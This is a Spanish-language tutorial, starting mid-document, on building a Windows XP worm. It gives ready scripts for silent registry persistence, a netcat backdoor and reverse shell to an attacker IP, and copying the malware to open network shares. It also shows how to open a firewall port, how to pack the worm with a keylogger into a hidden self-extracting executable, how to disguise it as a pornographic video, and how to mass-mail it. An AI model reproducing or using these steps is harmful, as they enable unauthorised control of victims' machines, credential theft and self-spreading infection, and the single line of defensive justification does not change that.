Extensibility Points) y se presenta una buena referencia en: http://www.pestpatrol.com/pestinfo/autostartingpests.asp. A continuación se referencian algunas: [-] Directorio de Inicio %ALLUSERSPROFILE%Menú InicioProgramasInicio Para una instalación típica en español, un ejemplo podría ser: C:Documents and SettingsAll UsersMenú InicioProgramasInicio
  • 8. http://hackstudio.net nkt@hackstudio.net [-] Entradas en el archivo win.ini (c:windowswin.ini) La sintaxis de las entradas es del tipo: ------------------------------------------------------------------ [windows] run=c:windowssystem32malware.exe load=anything ------------------------------------------------------------------ [-] Entradas en el archivo system.ini (c:windowssystem.ini) La sintaxis de las entradas es del tipo: ------------------------------------------------------------------ [boot] shell=explorer.exe c:windowssystem32malware.exe ------------------------------------------------------------------ [-] “Güindous” Registry El registro es el área de campo de trabajo de la mayoría del malware en la actualidad. Se utilizará en este proyecto para garantizar el arranque del malware junto con el sistema operativo. Las claves principales para realizar el boot del malware son (ver ZELTSER, Lenny. Malware: Fighting malicious code. 2003): ------------------------------------------------------------------ HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServicesOnce HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnce HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonUserinit HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionShellServiceObjectDelayLoad HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsSystemScripts HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorerRun HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunServicesOnce HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunServices HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunOnce HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorerRun HKEY_CURRENT_USERSOFTWAREMicrosoftWindows NTCurrentVersionWindowsRun HKEY_CURRENT_USERSOFTWAREMicrosoftWindows NTCurrentVersionWindowsLoad HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsSystemScripts HKEY_CLASSES_ROOTExefilesShellOpenCommand ------------------------------------------------------------------ Existen otro tipo de claves que permiten forzar la ejecución de un archivo dada una solicitud de ejecución de una aplicación. ------------------------------------------------------------------ [HKEY_CLASSES_ROOTexefileshellopencommand] =""%1" %*" [HKEY_CLASSES_ROOTcomfileshellopencommand] =""%1" %*" [HKEY_CLASSES_ROOTbatfileshellopencommand] =""%1" %*"
  • 9. http://hackstudio.net nkt@hackstudio.net [HKEY_CLASSES_ROOThtafileShellOpenCommand] =""%1" %*" [HKEY_CLASSES_ROOTpiffileshellopencommand] =""%1" %*" [HKEY_LOCAL_MACHINESoftwareCLASSESbatfileshellopencommand] =""%1" %*" [HKEY_LOCAL_MACHINESoftwareCLASSEScomfileshellopencommand] =""%1" %*" [HKEY_LOCAL_MACHINESoftwareCLASSESexefileshellopencommand] =""%1" %*" [HKEY_LOCAL_MACHINESoftwareCLASSEShtafileShellOpenCommand] =""%1" %*" [HKEY_LOCAL_MACHINESoftwareCLASSESpiffileshellopencommand] =""%1" %*" ------------------------------------------------------------------ Un ejemplo “del uso exagerado” de este tipo de claves es el malware “soundmix.exe”, el cual ante cada solicitud de ejecución de “cualquier cosa” volvía y cargaba su propio ejecutable. Existen otras claves específicas, las cuales (como ya se mencionó anteriormente), pueden ser consultadas en: http://www.pestpatrol.com/pestinfo/autostartingpests.asp. Otra forma (algo más ortodoxa, aunque menos visible), es crear el troyano llamado explorer.exe y ubicarlo en el disco C:, lo cual hace que se cargue automáticamente el troyano (que implícitamente puede llamar al verdadero explorer.exe en C:windowsexplorer.exe). Existen muchas diversas formas de establecer un punto de arranque del malware, de tal manera que en fin, esto dependerá en alto grado de la capacidad/creatividad del desarrollador del malware. P.e. basta con crear un troyano que al ejecutarse, revise si está activo el iexplorer.exe. De ser así, que lo baje (elimine el proceso), que copie una versión del iexplorer.exe “troyanizada” y vuelva a levantar el proceso. De esta manera, cada vez que el usuario decida “navegar en internet”, ejecutará implícitamente el troyano (que contiene el payload), sin tener que utilizar ninguna de las estrategias de bootLoader desde el registro de configuraciones de windows. De cualquier forma, por ser este un proyecto didáctico y para realizar la violación del registro, se utilizará un valor en una clave típica, con el fin de tratar de simular el comportamiento típico de la mayoría de malware. La clave es run en HKLM. HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
  • 10. http://hackstudio.net nkt@hackstudio.net Escribiremos a continuación el script necesario para instalar un valor de inicio del malware en dicha clave. Existen varias formas de realizar este script, aunque por lo general el uso de comandos tipo “reg” despliegan un aviso solicitando al usuario de la máquina la confirmación de la instalación en el registro. En lugar de esto, podemos hacer un script en un archivo .inf para que se instale de forma silenciosa sin pedir la confirmación. A continuación se presenta el archivo [install.inf] ------------------------------------------------------------------ [Version] Signature="$Chicago$" Provider=nkt [DefaultInstall] AddReg=nkt [nkt] HKLM, SoftwareMicrosoftWindowsCurrentVersionRun,,,win32.exe -L -d -p 666 -e cmd.exe ------------------------------------------------------------------ En la página oficial de microsoft existe una guía completa para desarrollar archivos de instalación/desinstalación bajo directivas de archivos .inf. Ahora, el problema consiste en que para instalar un archivo .inf, desde el explorador de windows se necesita dar click derecho y seleccionar la opción instalar en el menú contextual. Obviamente que no podemos esperar que sea un usuario que haga esto de forma voluntaria. Existe un comando que permite realizar esta instalación de forma silenciosa. El script se describe a continuación (archivo [install.bat]): ------------------------------------------------------------------ rundll32 setupapi,InstallHinfSection DefaultInstall 132 .install.inf ------------------------------------------------------------------ Una vez que se ejecute el anterior script (lo cual si puede automatizarse de forma silenciosa), se instala el script contenido en el archivo .inf instalado (install.inf). Lo descrito anteriormente es suficiente para llevar a cabo la operación de la violación del registro de configuraciones. Como ya se mencionó, existen innumerables puntos de carga del malware con sus claves específicas de registro que pueden aprovecharse de la misma manera explicada anteriormente. Un script para instalar la clave (archivo .inf) y un script para realizar la instalación de forma silenciosa.
  • 11. http://hackstudio.net nkt@hackstudio.net [3] mecanismo de distribución. Existen varias alternativas. Una de las más técnicas, es la detección de un bug o fallo natural del sistema (tipo lsass, que dió el canal de difusión al famoso sasser, un gusano que definitivamente dejó su marca en la historia). Por lo general, una actividad típica de un gusano, es la búsqueda o exploración de la red en búsqueda de este tipo de fallas, y al encontrar un conjunto de equipos vulnerables en una red, proceder a ejecutar un exploit que instale el gusano en cada equipo vulnerable. El nivel técnico requerido desde el punto de vista de la programación es alto. Otra técnica bastante utilizada, es la búsqueda de direcciones de correo electrónico. Esto puede hacerse atacando directamente las libretas de direcciones de aplicaciones como outlook (de hecho, este tipo de búsquedas es típica). También se requieren aplicaciones especiales que realicen esta tare de forma específica. Otra forma, es bombardear directamente el servidor de correo electrónico de la organización en busca de conjuntos de usuarios. p.e. Cuentas tipo allusers@company.com, que al recibir un correo, lo redireccionan a todas las cuentas de correo de la organización. Todas estas técnicas mencionadas anteriormente pretenden lograr un mecanismo de distribución del malware, y son frecuentemente utilizadas y requieren una gran capacidad de programación. En la propuesta de este proyecto procederemos a utilizar un modelo mucho más sencillo para la distribución de un malware al interior de una infraestructura LAN/Ethernet. Es el abuso de los recursos compartidos en una red típica ms-windows. Vale la pena mencionar que en muchas redes corporativas, por necesidad de acceso a archivos y falta de conciencia en el área de seguridad de la información, suele mantenerse de forma indefinida e irreglamentada un conjunto de recursos compartidos sin ningún tipo de restricción. Esto también es altamente explotable, y generalmente es una de las acciones típicas de un gusano. En este proyecto se aprovechará la característica típica de redes windows XP en la cual existe una carpeta típica para compartir recursos (“Documentos Compartidos”). La configuración típica también es el acceso a dicha carpeta con privilegios de lectura/escritura y sin ningún tipo de autenticación. Siendo así, no resta, sino “scriptar” nuestras instrucciones para que se copie el cuerpo del malware en las carpetas que encuentre compartidas “de forma vulnerable” (en este caso, la típica carpeta que parece que no puede faltar en ningún equipo ... Musica, ¿raro no??). El código del script se incluirá en el archivo [dist.bat] ------------------------------------------------------------------ FOR /F “tokens=1” %i IN (dirs.txt) do xcopy malware.exe %iMusica 2>nul ------------------------------------------------------------------
  • 12. http://hackstudio.net nkt@hackstudio.net donde debe existir un archivo [dirs.txt] que contenga una lista de direcciones IP a testear. ------------------------------------------------------------------ 192.168.1.2 192.168.1.3 192.168.1.4 192.168.1.5 192.168.1.6 192.168.1.7 192.168.1.8 192.168.1.9 ... ------------------------------------------------------------------ Obviamente, en este caso, el desarrollador del malware, tiene conocimiento de el rango de direcciones IP que desea infectar; sin embargo esto no omite que un script más elaborado, realice las búsquedas de direcciones IP automáticamente. Lo típico sería utilizar el mismo bucle anterior y en lugar del xcopy, utilizar comandos net, p.e. ------------------------------------------------------------------ > net use * IPVictimasIPC$ ------------------------------------------------------------------ Por otra parte, herramientas especializadas en exploración de redes como netviewx (de Jesper Lauritsen, http://www.ibt.ku.dk/jesper/NTtools), nete (de Sir Dystic de “The Cult of Dead Cow”, a.k.a. “El culto de la vaca muerta”, famoso grupo en la historia del hacking), enum (http://www.bindview.com/support/Razor/Utilities) y NAT (parte del antiguo Legion), permiten realizar scripts más complejos que exploran máquinas a nivel de red para localizar recursos compartidos, listas de usuarios, etc. Por “pedagogía” en este proyecto nos limitaremos al script “primitivo” visto anteriormente que cumple con la funcionalidad que requerimos. [4] evasión “básica” de firewall. En este punto, ya hemos obtenido prácticamente toda la funcionalidad de nuestro proyecto de malware. Ahora, “necesitamos proteger” nuestra actividad intrusiva. El firewall talvez sea la principal aplicación a evitar (aparte de los IDS, que para el prototipo habitual de una infraestructura LAN en nuestras empresas, suele ser considerado “una exageración” en costos y esfuerzos ... ¿de dónde sale que todos los ataques informáticos solo le suceden a microsoft, el FBI, la NASA y el pentágono??). Bien, en un escenario típico a nivel de intranet, generalmente
  • 13. http://hackstudio.net nkt@hackstudio.net “nos conformamos” con ver el icono de “firewall activo” en nuestra systray. Se podría utilizar aplicaciones tipo “microchip” (un ejecutable que “lastimosamente” ya es detectado por antivirus como kaspersky) que al ejecutarse baja automáticamente el firewall de windows. Sin embargo (y como cosa rara en los entornos ms-win), la configuración del firewall también está delegada al registro de configuraciones. Esto implica que “basta un simple script” para modificar la configuración del firewall y evitar que aparezca el aviso de bloqueo de conexión. El script es sencillo y se presenta a continuación (archivo [fw.inf]): ------------------------------------------------------------------ [Version] Signature="$Chicago$" Provider=nkt [DefaultInstall] AddReg=fw [fw] HKLM, SYSTEMControlSet001ServicesSharedAccessParametersFirewallPolicyStan dardProfileGloballyOpenPortsList,666:TCP,,666:TCP:*:Enabled:win32.exe ------------------------------------------------------------------ Obviamente, también para instalar este archivo [fw.inf] de forma silenciosa, requerimos un archivo por lotes [fw.bat]: ------------------------------------------------------------------ rundll32 setupapi,InstallHinfSection DefaultInstall 132 .fw.inf ------------------------------------------------------------------
  • 14. http://hackstudio.net nkt@hackstudio.net A nivel de intranet ... !!! ESO ES TODO !!!. al violar el registro, le decimos que la aplicación win32.exe (nuestro backdoor) va a abrir el puerto (666) y que simplemente el firewall de windows “debe quedarse callado”. Solo basta prestarle atención a que este script debe ejecutarse antes de intentar poner el backdoor en escucha por conexiones. Para complementar este proyecto, en caso de requerir aprovechar la funcionalidad de nuestro malware de forma externa a la intranet, se necesitaría evadir el firewall de red (generalmente un firewall corporativo que realiza funciones NAT). Basta con utilizar un puerto común que “no suele ser filtrado”, p.e. El puerto 53, utilizado para consultad DNS, que se requiere para hacer la resolución de nombres en las consultas de internet. Entonces, sencillamente podríamos proceder a hacer una operación “delicada”; se conoce como callback. En lugar de ser la máquina víctima la que permanece en estado Listening (-L para netcat), ponemos en escucha la máquina atacante, y configuramos nuestro backdoor para que sea la víctima la que se conecte (y nos envíe una “hermosa consola”) a la máquina atacante. Se requeriría entonces que dispongamos de una dirección IP real, pues el backdoor necesita “saber con quién se conecta”. Si la conexión se establece a través de un puerto no filtrado por el firewall de red, pues, sencillamente !!! YA ESTARÍA TODO HECHO !!!!. A continuación se muestran los scripts necesarios para realizar un callback desde nuestro backdoor (tomaremos como máquina atacante la 192.168.1.4, y en una máquina virtual vmware, emularemos la máquina víctima con IP 192.168.1.9). En la máquina atacante: ------------------------------------------------------------------ > nc -L -p 666 -v ------------------------------------------------------------------
  • 15. http://hackstudio.net nkt@hackstudio.net observemos el preview En la máquina víctima, el backdoor debe estar configurado para conectarse con el puerto disponible en la máquina atacante (en el ejemplo se usa el 666, aunque ya se mencionó que para efectos de realizar la evasión de firewall, debería utilizarse un puerto no filtrado, p.e. 53 [dns], 80 [http], etc.). El script requerido para hacer el callback desde el backdoor es: ------------------------------------------------------------------ > nc -d IPAtacante puerto -e cmd.exe ------------------------------------------------------------------ En este caso sería: ------------------------------------------------------------------ > nc -d 192.168.1.4 666 -e cmd.exe ------------------------------------------------------------------ Observemos el preview, donde primero indagamos la dirección IP de la víctima (solo por verificación), y le pedimos a nuestro querido netcat que por favor “me mande una consolita a la dirección del atacante en el puerto donde el atacante está esperando que yo me conecte).
  • 16. http://hackstudio.net nkt@hackstudio.net Ahora, en la máquina atacante se puede observar como se establece la conexión con una “entrada” en la consola de la máquina víctima. Donde podemos observar “en consola”, que la dirección original correspondía a la máquina atacante, al recibir una conexión se
  • 17. http://hackstudio.net nkt@hackstudio.net lanza la consola desde la víctima, y al volver a revisar la dirección IP ... !! estamos en la máquina de la víctima !!!. Y podés ejecutar desde ahí “lo que quieras en la víctima” Lo más importante de los ataques por callbacks: es el alcance de direcciones no enrutables por ser internas (en el dominio de la intranet) y estar “cubiertas” por el firewall. Sin embargo, en este punto es importante tener en cuenta qué tipo de ataque es el que se realizará. ¿querés controlar la máquinas de tu red desde el interior de la intranet??, basta con el backdoor en estado de escucha. No necesitas el callback. ¿querés controlar las máquinas desde fuera de la intranet??, si tenés una máquina con IP estática externa, solo te falta configurar bien tus backdoors para que realicen un callback ... y Listo !!! no más temores a los firewalls ;P ¿presenta algún problema las conexiones por callbacks??. Para un malware que se distribuye en una red: SI. No sería apropiado que todos los backdoors intenten conectarse y mandar consolas al único puerto en el cual la máquina del atacante está esperando conectarse con sus víctimas. Así que es de prestarle atención a: 1. configurar los backdoors para que se conecten a distintos puertos abiertos en la máquina atacante, 2. abrir varios puertos en escucha en la máquina atacante. De hecho, si el malware está muy distribuido, el ataque puede salir “contraproducente” ... muchos backdoors tratando de conectarse con tu máquina te pueden ocasionar una inesperada denegación de servicio. En verdad se debería refinar la especialización de este tipo de ataques (ya habrá oportunidad en otra publicación, je! ...). P.D. No olvidar que aunque en el callback se utilizó directamente netcat, en el proyecto del malware, se cambió el nombre del ejecutable por win32.exe [5] empaquetamiento y scripting. La funcionalidad de nuestro proyecto de malware ya está completa. Sin embargo, en este momento solo tenemos un “reguero de scripts”. Necesitamos empaquetar todo de tal forma que baste con un click de un usuario desprevenido o ignorante o ambicioso, etc. (cualquier actitud que atente contra la protección de la información), pues en últimas, las mas grandes vulnerabilidades de seguridad informática se encuentran en la mente de los usuarios. Realizaremos a continuación el empaquetamiento de todos nuestros scripts. Ni siquiera utilizaremos una “super-utilidad”. Basta con ejecutar en windows la utilidad “iexpress”, o podemos acudir a nuestro querido winrar. Cualquiera de los dos sirve. Por espacio en este documento, mostraremos el funcionamiento tanto de iexpress
  • 18. http://hackstudio.net nkt@hackstudio.net como de winrar de forma gráfica, y de forma textual se explicará cual es el orden del empaquetamiento. Podemos acceder a iexpress desde [inicio->ejecutar], tecleamos iexpress. Debe desplegar la siguiente ventana (donde debe estar la opción de crear un nuevo paquete extraible): Seleccionamos la opción crear nuevo archivo de directivas de auto- extracción. Luego, “Siguiente” En la interfaz para seleccionar el propósito del paquete seleccionamos “extraer archivos y ejecutar comandos de
  • 19. http://hackstudio.net nkt@hackstudio.net instalación” (vamos a necesitar que desde ahí se ejecuten nuestros scripts. “Siguiente”: Le damos un título al proyecto (en este caso, empaquetaremos nuestros scripts en un archivo que se llame worm.exe). “Siguiente”: Obviamente le decimos al paquete que no “promptee” al usuario con avisos y notificaciones. “Siguiente” (¿que otra cosa esperaban??):
  • 20. http://hackstudio.net nkt@hackstudio.net Obviamente que sería ridículo desplegar una licencia para la instalación de un malware. “Siguiente”: Seleccionamos todos los archivos que vamos a requerir. Esto incluye tanto los ejecutables de nuestro payload (nc.exe que ahora se llama win32.exe, el keylogger, etc.), además de los scripts que hemos desarrollado (los scripts que realizan el bootLoader en el registro, el script de distribución en carpetas compartidas, el archivo que contiene la lista de direcciones IP, los scripts que realizan la evasión del firewall de windows, y todo lo que puedas necesitar ... ). Solo dale “Siguiente”:
  • 21. http://hackstudio.net nkt@hackstudio.net En este punto es donde se debe tener cuidado. Debes seleccionar los scripts para que se ejecuten antes o después del desempaquetamiento. Como se puede notar en el preview, puede seleccionar tanto scripts dentro del paquete, como cualquier comando que desees que se ejecute. “Siguiente”: Obviamente seleccionamos la opción de desempaquetamiento oculto y como de costumbre; “Siguiente”:
  • 22. http://hackstudio.net nkt@hackstudio.net Que no despliegue ningún tipo de mensaje (obvio). Siguiente: “Bautizamos” el paquete (con extensión .exe), y le decimos que Oculte el proceso de desempaquetamiento (nada de animaciones al usuario). “Siguiente”:
  • 23. http://hackstudio.net nkt@hackstudio.net Seleccionamos la opción de no rebootear el sistema (en verdad, cualquier reinicio, ya se convierte en una actividad bastante sospechosa). “Siguiente”: Ya que el desarrollo de malware es “altamente adictivo”, es probable que quieras guardar el proyecto para volver a empaquetarlo en momentos posteriores, o realizar mejoras. Lo recomendable es salvar elproyecto en un archivo .SED. “Doble Siguiente”:
  • 24. http://hackstudio.net nkt@hackstudio.net Si todo el proceso de empaquetamiento salió bien, no debe notificar ningún tipo de error (Done!). Si revisas en el explorador, tienen que haberse generado tanto el paquete worm.exe como el archivo del proceso de empaquetamiento worm.SED. Y LISTO !!!, al dar doble click en el ejecutable, se
  • 25. http://hackstudio.net nkt@hackstudio.net extraen los archivos en algunas carpetas temporales y se ejecutan los scripts en el orden que hayas seleccionado. Como lo anterior fue demostración, a continuación se narra como realizar el proceso de empaquetamiento con los scripts que tenemos: 1. empaqueta en un ejecutable los scripts que contienen la violación del registro tanto para la instalación del malware como para la evasión del firewall. 2. empaqueta en otro ejecutable el script de distribución del malware en carpetas compartidas. 3. empaqueta en otro ejecutable los dos anteriores ejecutables diciéndole al paquete que primero se ejecute el paquete que realiza la violación del registro y luego el paquete que realiza la distribución. Ahora, tiene que haber quedado un solo ejecutable que realiza las tres funciones: instalación del backdoor en el registro, evasión del firewall y copia del cuerpo del malware en las carpetas compartidas. 4. empaqueta en otro ejecutable los ejecutables que constituyen el backdoor. En el caso de este proyecto, será win32.exe (netcat), y el keylogger. 5. empaqueta en otro ejecutable, el ejecutable con todos los scripts y el ejecutable que contiene el backdoor. En este momento te tiene que quedar un solo ejecutable que contiene (y ejecuta) inicialmente todos los scripts y además debe contener el payload (en este caso, el backdoor). Vale la pena recalcar que hasta ahora, el malware con todos los archivos que hemos empaquetado, no pesa más de 90 Kb. Se ha conseguido lo que nos hemos propuesto, pues ese valor lo hace un archivo bastante liviano (y distribuible). Así, de tanto empaquetar y empaquetar, este trabajo, no es sino pura “labor de carpintería”. [6] troyanización. Aunque ya tenemos el malware, necesitamos un mecanismo de activación. Obviamente, ese mecanismo es algún usuario ejecute o de doble click sobre el ejecutable del malware. Para “generar confianza” en el usuario a que active el malware, generaremos otro paquete especial que troyanizará nuestro malware. Para ello utilizaremos winrar. Ahí va !!. Primero, debemos escojer un “anzuelo”. Este puede ser un archivo multimedia (preferiblemente). En el caso de un escenario de una empresa típica colombiana, podríamos tomar un pedazo de un video con contenido pornográfico (casi nadie evita dar doble click sobre algo así). Para no aumentar mucho el tamaño del troyano, podemos tomar cualquier video en formato .avi y editarlo reduciendo la longitud de la
  • 26. http://hackstudio.net nkt@hackstudio.net secuencia en una aplicación de bastante uso como camtasia. Observemos el preview: Al seleccionar añadir al archivo, selecciono la opción de generar archivo especial en formato SFX (Archivo auto-extraible): Luego vamos a la pestaña “avanzadas” y seleccionamos opciones SFX, donde podemos establecer la ruta de extracción de archivos y los comandos de ejecución (scripting) antes y después de la extracción:
  • 27. http://hackstudio.net nkt@hackstudio.net En Modos, seleccionamos las opciones de Ocultar todo tipo de animación al usuario, y en caso de existir el archivo, sobre- escribirlo. Con eso basta. Aunque winrar nos presenta una plétora de múltiples opciones (entre las cuales está la selección de un icono), es suficiente como para lo que necesitamos. Podemos troyanizar el malware utilizando cualquier tipo de archivo “atractivo” para que el usuario dé doble click, p.e. Mp3, jpg, flash (que también tiene
  • 28. http://hackstudio.net nkt@hackstudio.net extensión .exe), etc. En este momento, disponemos de un ejecutable que contiene el malware y un ejecutable que despliega el video “anzuelo”. ¿Qué viene ahora??, pues con iexpress puedes crear el paquete total. Donde se empaquetan tanto el “anzuelo” (ejecutable que despliega el video), como el malware en sí (el ejecutable empaquetado que se detalló en la sección anterior). Sin embargo, si observamos el archivo desde el explorador de windows, se ve que el paquete total tiene un icono que no se reconoce fácilmente. Vamos a utilizar la conocida “resHacker” para cambiar el icono de tal manera que realmente parezca un archivo multimedia. Desplegamos ResHacker, seleccionamos nuestro malware troyanizado y buscamos el icono de un video dentro del sistema para realizar el reemplazo. Observemos el preview. (donde “videoCarlaGiraldo.exe” es el paquete que contiene tanto el malware desarrollado en la sección anterior, como el video empaquetado anteriormente con winrar). Seleccionamos cualquier ejecutable desde donde deseamos cargar el icono (en este caso, para simular un archivo de un verdadero video, utilizaremos el mismo icono de windows media player, y
  • 29. http://hackstudio.net nkt@hackstudio.net damos la opción reemplazar. Solo resta guardar el proyecto, y si observamos nuevamente nuestro archivo desde el explorador podremos ver un “lindo archivo aparentemente de video” con el nombre de nuestro malware troyanizado. Y LISTO !!!!... Ahora, p.e. En este caso se cambió el nombre por “videoCarlaGiraldo.avi.exe”. Si hablamos de una red típica colombiana con sistemas windows XP en sus instalaciones por defecto, lo más seguro, es que en los exploradores de las máquinas víctimas esté habilitada la opción “ocultar extesiones de archivos conocidos”. Lo que hará que se oculte la extensión .exe y por lo tanto “el nombre visible del malware” realmente aparecerá como “videoCarlaGiraldo.avi”. Obviamente lo ideal sería que el troyano se cargue desde un verdadero archivo multimedia. Esto no es difícil de hacer, sin embargo, “será en otra ocasión, je!”, pues. para los requerimientos de este proyecto, basta con lo hecho hasta ahora. Existen un resto de técnicas alternativas para troyanizar nuestro malware. Entre ellas están los Data Streams, Macros en archivos office, objetos ole incluidos en documentos (basta con incrustarlos), wrappers en archivos .flash, ejecución de comandos desde archivos que se ejecutan en windows media player, etc. No las veremos en este documento, pero cualquier desarrollador de malware puede pasar largos y entretenidos ratos mejorando y puliendo lo logrado hasta ahora con técnicas más refinadas y “diabólicas”. Es obvio suponer, que si das doble click sobre el archivo que contiene el malware troyanizado debe suceder los siguiente: Explícitamente: [-] Debe desplegarse el video (o cualquier tipo de anzuelo incluido) Implícitamente (y de forma oculta): [-] el registro debe haber sido modificado para aceptar que se abra un puerto por el backdoor sin que el firewall “se oponga” [-] el registro debe haber sido modificado para cargar el backdoor al iniciar la máquina [-] el cuerpo del troyano debe haberse intentado copiar a las carpetas compartidas encontradas en la lista de direcciones IP.
  • 30. http://hackstudio.net nkt@hackstudio.net [-] se debe haber abierto la puerta trasera en estado de escucha de conexiones en el puerto autorizado en el registro [-] se debe ejecutar cualquier otro proceso incluido, p.e. Para este proyecto, debería estar en ejecución el keylogger. Lo único que resta, es re-enviar el “famoso video” a la mayor cantidad de direcciones de correo electrónico ... y esperar. En el caso de este proyecto, solo sería necesario detectar puertos abiertos escuchando conexiones en el puerto 666 ... “a lo mejor es nuetra plaga en acción, :P”... ------------------------------------------------------------------ Análisis y Conclusiones ------------------------------------------------------------------ Es importante tener en cuenta: [-] No utilizamos ninguna tecnología sofisticada. Prácticamente todo se limitó “al poder de la consola” en ejecutar scripts. Todos los recursos requeridos estaban totalmente al alcance de “cualquiera”. [-] El conocimiento de todas estas técnicas anteriormente mencionadas sirve no solamente para desarrollar proyectos con “intenciones malévolas”, también sirve para el desarrollo de vacunas contra malware. Simplemente se empaquetan scripts que con la capacidad de revertir las actividades maliciosas del malware que se desea vacunar. En pocas palabras, no solo se trata de plantear mediante este proyecto técnicas nocivas para una infraestructura informática. El conocimiento de estas técnicas es la mejor forma de combatir este tipo de ataques. [-] Todas las actividades anteriores (excepto el cambio de icono), son scriptables. Esto significa que con buena práctica y experiencia, se pueden automatizar (ya lo haremos en su momento). [-] No necesitamos prácticamente ningún método de programación (ni siquiera utilizamos lenguajes de programación), no necesitamos ningún principio especial de la ingeniería del software, cualquiera con algo de dedicación está en la capacidad de desarrollar este tipo de proyectos, no se requiere de la ayuda de un “super-hacker” ... todo esto lo podemos hacer prácticamente con las uñas ... ahora lo que debemos aprender es a tener las uñas “bien afiladas” ... [-] diviértete, y disfrútalo cuanto puedas ... ah!, y no olvides invitarme ... nkt@hackstudio.net, nkt.liam@gmail.com . Hasta la próxima ;P
  • 31. http://hackstudio.net nkt@hackstudio.net ------------------------------------------------------------------ Autor ------------------------------------------------------------------ Guillermo Jurado. Ingeniero en Electrónica y Telecomunicaciones de la Universidad del Cauca. Grupo de Investigación en Tecnologías de la Información (GTI), Área de Investigación en Seguridad Informática, Egresado 2003. Es "Hacktivista" con una Experiencia de casi 8 años en Investigación y Desarrollo de Soluciones en Seguridad Informática e Inteligencia Artificial. El Prototipo del Proyecto InForce Technology recibió el reconocimiento de Mención de Honor por Trabajo Innovador en el Área de Seguridad Informática. Actualmente reside en Popayán-Cauca, y trabaja para la Universidad del Cauca en el Área de Sistemas. Es Desarrollador Avanzado en tecnologías JAVA (J2SDK, J2EE), investiga en Metodologías y Estándares de Calidad de Software, y trabaja en el surgimiento de hackStudio [http://hackstudio.net] , Proyecto Empresarial cuyo Core (núcleo) de Negocio es la Investigación y Desarrollo de Soluciones en Tecnología Informática. Es el Arquitecto y Principal Desarrollador de InForce Technology y HackStudio Project, y Dedica su Tiempo Disponible en la Edición de su Propuesta Investigativa: "Ingeniería en Seguridad Informática" que estará disponible al Público en Formato de Libro (si es que algún día la termina, jeje). Contactos en nkt@hackstudio.net , nkt.liam@gmail.com Cel. 300 651 0946 ------------------------------------------------------------------ Breve Bibliografía ------------------------------------------------------------------ [-] ZELTSER, Lenny. Malware: Fighting malicious code. 2003 [-] HOGLUND, Greg. BUTLER, James. Rootkits: Subverting the Windows Kernel. 2005 [-] FOSTER, James. Sockets, Shellcode, Porting & Coding. Reverse Engineering Exploits and Tools Coding for Security Professionals. 2005 [-] LUDWIG, Mark. The Little Black Book of computer Viruses. Editorial American eagle publications. [-] RODAO, Jesús. Virus de Sistemas Informáticos e Internet. Editorial Alfa Omega 2000. [-] Virus Bulletin, Octubre 2005 – Enero 2006. http://www.virusbtn.com [-] http://www.hispasec.com/directorio/laboratorio/articulos/